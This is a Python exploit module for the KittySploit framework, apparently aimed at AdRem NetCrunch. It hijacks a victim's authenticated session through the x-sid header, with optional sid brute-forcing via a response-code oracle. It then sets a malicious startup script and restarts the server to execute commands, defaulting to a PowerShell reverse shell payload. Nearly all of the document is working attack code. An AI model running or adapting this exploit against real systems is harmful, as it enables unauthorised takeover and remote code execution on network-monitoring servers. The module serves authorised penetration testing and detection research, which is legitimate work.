AdRem NetCrunch cross-session hijack startup RCE

"""AdRem NetCrunch Cross-Session Hijack RCE"""
from __future__ import annotations
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from concurrent.futures import ThreadPoolExecutor
import json
import re
import ssl
import subprocess
import sys
import threading
import time
import urllib.error
import urllib.request
import os
import ssl
import json
import urllib.request
import urllib.error
import subprocess
import re
import time
import sys
import threading
from concurrent.futures import ThreadPoolExecutor

class Module(Exploit, Http_client):
    __info__ = {'name': 'AdRem NetCrunch cross-session hijack startup RCE', 'description': 'Use victim sid@gid with unauthenticated attacker session (x-sid) to call SetScriptOptions + RestartNCServer.', 'author': ['KittySploit Team'], 'platform': Platform.WINDOWS, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/windows/powershell_reverse_tcp', 'platform': Platform.WINDOWS, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['adrem', 'netcrunch', 'session-hijack', 'rce'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 6, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/adrem_netcrunch_session_hijack_rce_detect']}}}
    DEFAULT_TARGET = '127.0.0.1:9443'
    DEFAULT_CMD = 'echo NC_F1_HIJACK_RCE > C:\\Windows\\Temp\\nc_rce_f1.txt'
    NCCLI = 'C:\\Program Files\\AdRem\\NetCrunch\\Server\\16.0.0\\nccli.exe'
    CMD_EXE = 'C:\\Windows\\System32\\cmd.exe'
    MARKER = 'C:\\Windows\\Temp\\nc_rce_f1.txt'
    sctx = ssl.create_default_context()
    port = OptPort(9443, 'NetCrunch HTTPS port', required=True)
    ssl = OptBool(True, 'Use HTTPS', required=False)
    victim_sid_gid = OptString('', 'Victim sid@gid to hijack (required)', required=True)
    sid_bruteforce_max = OptInteger(0, 'If victim sid empty, probe sid 1..N (0=off)', required=False)
    restart_wait = OptInteger(35, 'Seconds after RestartNCServer', required=False)

    def make_base(self, target):
        if not target.startswith('http'):
            target = 'https://' + target
        return target.rstrip('/')

    def req(self, method, path, base, headers=None, body=None, timeout=30):
        data = None
        if isinstance(body, (dict, list)):
            data = json.dumps(body).encode()
        elif isinstance(body, str):
            data = body.encode()
        r = urllib.request.Request(base + path, data=data, method=method, headers=dict(headers or {}))
        try:
            with urllib.request.urlopen(r, timeout=timeout, context=self.sctx) as x:
                return (x.status, x.read().decode(errors='replace'))
        except urllib.error.HTTPError as e:
            return (e.code, e.read().decode(errors='replace'))
        except Exception as e:
            return (-1, str(e))

    def rpc(self, sid_gid, api, action, method, base, data=None, timeout=30):
        return self.req('POST', f'/nc/console/rpc?api={api}', base, {'x-sid': sid_gid, 'Content-Type': 'application/json'}, [{'action': action, 'method': method, 'tid': 1, 'data': data or []}], timeout)

    def reset_admin_password(self):
        """Use nccli.exe reset-admin-password to reset the admin password; return the new random password."""
        for attempt in range(6):
            r = subprocess.run(['powershell', '-Command', f"& '{self.NCCLI}' reset-admin-password"], capture_output=True, text=True, timeout=60)
            m = re.search('set to:\\s*(\\S+)', (r.stdout or '') + (r.stderr or ''))
            if m:
                return m.group(1).rstrip('.')
            time.sleep(3)
        return None

    def wait_service_ready(self, base):
        """Wait for the NetCrunch service to be ready (api.json returns 200)."""
        for _ in range(20):
            st, _ = self.req('GET', '/nc/console/api.json', base, {'x-app': 'web'}, timeout=10)
            if st == 200:
                return True
            time.sleep(2)
        return False

    def victim_login(self, base):
        """Simulate the victim B logging in; return (sid, gid, sid_gid)."""
        pw = self.reset_admin_password()
        if not pw:
            print('[!] reset-admin-password failed')
            return None
        print(f'[*] admin password reset: {pw}')
        st, body = self.req('GET', '/nc/console/api.json', base, {'x-app': 'web'})
        if st != 200:
            print(f'[!] api.json HTTP {st}')
            return None
        jb = json.loads(body)
        b_sid, b_gid = jb['sid'].split('@')
        b_sg = f'{b_sid}@{b_gid}'
        print(f'[*] B session: sid={b_sid} gid={b_gid}')
        st, resp = self.rpc(b_sg, 'client.session', 'Security', 'LoginEx', base, ['web', 'admin', pw], timeout=60)
        if 'Token' not in resp:
            print(f'[!] B LoginEx failed: {resp[:120]}')
            return None
        print('[+] B login succeeded (token acquired, group authenticated)')
        for _ in range(3):
            self.rpc(b_sg, 'ncsrv', 'INetCrunchServer', 'GetServerSystemVersion', base, timeout=30)
            time.sleep(0.5)
        print('[+] B channel ready')
        return (b_sid, b_gid, b_sg)

    def f1_hijack_verify(self, a_sg, base):
        """F1 hijack verification: A calls an authenticated method with B's sid@gid (A never logged in)."""
        st, resp = self.rpc(a_sg, 'ncsrv', 'INetCrunchServer', 'GetServerSystemVersion', base, timeout=30)
        if st == 200 and 'major' in resp:
            print(f'[+] A F1 hijack succeeded: GetServerSystemVersion -> {resp[:80]}')
            return True
        print(f'[!] A F1 hijack failed: HTTP {st} {resp[:120]}')
        return False

    def rce_chain(self, a_sg, base, cmd_str):
        """RCE chain: SetScriptOptions writes the malicious startup script + RestartNCServer triggers execution."""
        subprocess.run(['cmd', '/c', f'if exist {self.MARKER} del {self.MARKER}'], capture_output=True)
        opts = {'cmd': self.CMD_EXE, 'params': f'/c {cmd_str}', 'wait': True, 'timeout': 30}
        st, resp = self.rpc(a_sg, 'ncsrv', 'INcStartupScript', 'SetScriptOptions', base, [opts], timeout=60)
        print(f'[*] SetScriptOptions: HTTP {st} {resp[:80]}')
        st, resp = self.rpc(a_sg, 'ncsrv', 'INcStartupScript', 'GetScriptOptions', base, [], timeout=60)
        print(f'[*] GetScriptOptions: {resp[:140]}')
        st, resp = self.rpc(a_sg, 'ncsrv', 'INetCrunchServer', 'RestartNCServer', base, [], timeout=120)
        print(f'[*] RestartNCServer: HTTP {st} {resp[:80]}')
        print('[*] waiting 35s for service restart + startup-script execution...')
        time.sleep(35)
        r = subprocess.run(['cmd', '/c', f'if exist {self.MARKER} (echo MARKER_EXISTS&type {self.MARKER}) else (echo no)'], capture_output=True, text=True)
        if 'MARKER_EXISTS' not in r.stdout:
            time.sleep(15)
            r = subprocess.run(['cmd', '/c', f'if exist {self.MARKER} (echo MARKER_EXISTS&type {self.MARKER}) else (echo no)'], capture_output=True, text=True)
        return r.stdout.strip()

    def sid_gid_bruteforce(self, base, target_gid, sid_window=2000, workers=50):
        """Demonstrate the 449/200 oracle brute-force probing of sid (purely unauthenticated sid@gid acquisition).
    The full 30M space needs high-bandwidth multi-threading; this demonstrates a window scan."""

        def probe(sid):
            sg = f'{sid}@{target_gid}'
            st, _ = self.rpc(sg, 'ncsrv', 'INetCrunchServer', 'GetServerSystemVersion', base, timeout=5)
            return sid if st == 200 else None
        cands = list(range(1, sid_window + 1))
        found = []
        t0 = time.time()
        with ThreadPoolExecutor(max_workers=workers) as ex:
            for r in ex.map(probe, cands):
                if r:
                    found.append(r)
        dt = time.time() - t0
        print(f'[*] oracle brute force: {len(cands)} cands / {dt:.1f}s @ {len(cands) / dt:.0f} req/s, found {found}')
        return found[0] if found else None

    def _http_rpc(self, sid_gid: str, api: str, action: str, method: str, data=None, timeout=60):
        body = [{'action': action, 'method': method, 'tid': 1, 'data': data or []}]
        resp = self.http_request('POST', f'/nc/console/rpc?api={api}', data=json.dumps(body), headers={'x-sid': sid_gid, 'Content-Type': 'application/json'})
        if not resp:
            return (-1, '')
        return (int(resp.status_code or 0), resp.text or '')

    def _attacker_sid_gid(self) -> str | None:
        resp = self.http_request('GET', '/nc/console/api.json', headers={'x-app': 'web'})
        if not resp or int(resp.status_code or 0) != 200:
            return None
        return json.loads(resp.text or '{}').get('sid')

    def _resolve_victim_sid_gid(self) -> str | None:
        custom = str(self.victim_sid_gid or '').strip()
        if custom:
            return custom
        max_sid = int(self.sid_bruteforce_max or 0)
        if max_sid <= 0:
            return None
        attacker = self._attacker_sid_gid()
        if not attacker or '@' not in attacker:
            return None
        _, gid = attacker.split('@', 1)
        for sid in range(1, max_sid + 1):
            sg = f'{sid}@{gid}'
            code, body = self._http_rpc(sg, 'ncsrv', 'INetCrunchServer', 'GetServerSystemVersion', [], 5)
            if code == 200 and 'major' in body:
                return sg
        return None

    def execute(self, shell: str) -> str:
        hijack = self._resolve_victim_sid_gid()
        if not hijack:
            return 'Set victim_sid_gid (sid@gid of authenticated session) or enable sid_bruteforce_max'
        opts = {'cmd': self.CMD_EXE, 'params': f'/c {shell}', 'wait': True, 'timeout': 30}
        c1, r1 = self._http_rpc(hijack, 'ncsrv', 'INcStartupScript', 'SetScriptOptions', [opts], 60)
        c2, r2 = self._http_rpc(hijack, 'ncsrv', 'INetCrunchServer', 'RestartNCServer', [], 120)
        wait = int(self.restart_wait or 35)
        time.sleep(wait)
        return f'hijack x-sid={hijack}; SetScriptOptions HTTP {c1}; Restart HTTP {c2}; waited {wait}s'

    def check(self):
        resp = self.http_request('GET', '/nc/console/api.json', headers={'x-app': 'web'})
        if resp and int(resp.status_code or 0) == 200:
            return {'vulnerable': True, 'reason': 'NetCrunch api.json oracle reachable', 'confidence': 'medium'}
        return {'vulnerable': False, 'reason': 'Console API not reachable', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not ready'))
            self.not_vulnerable()
            return False
        print_status('Session hijack → startup script RCE')
        print_info(self.execute(shell))
        self.vulnerable()
        return True
    sctx.check_hostname = False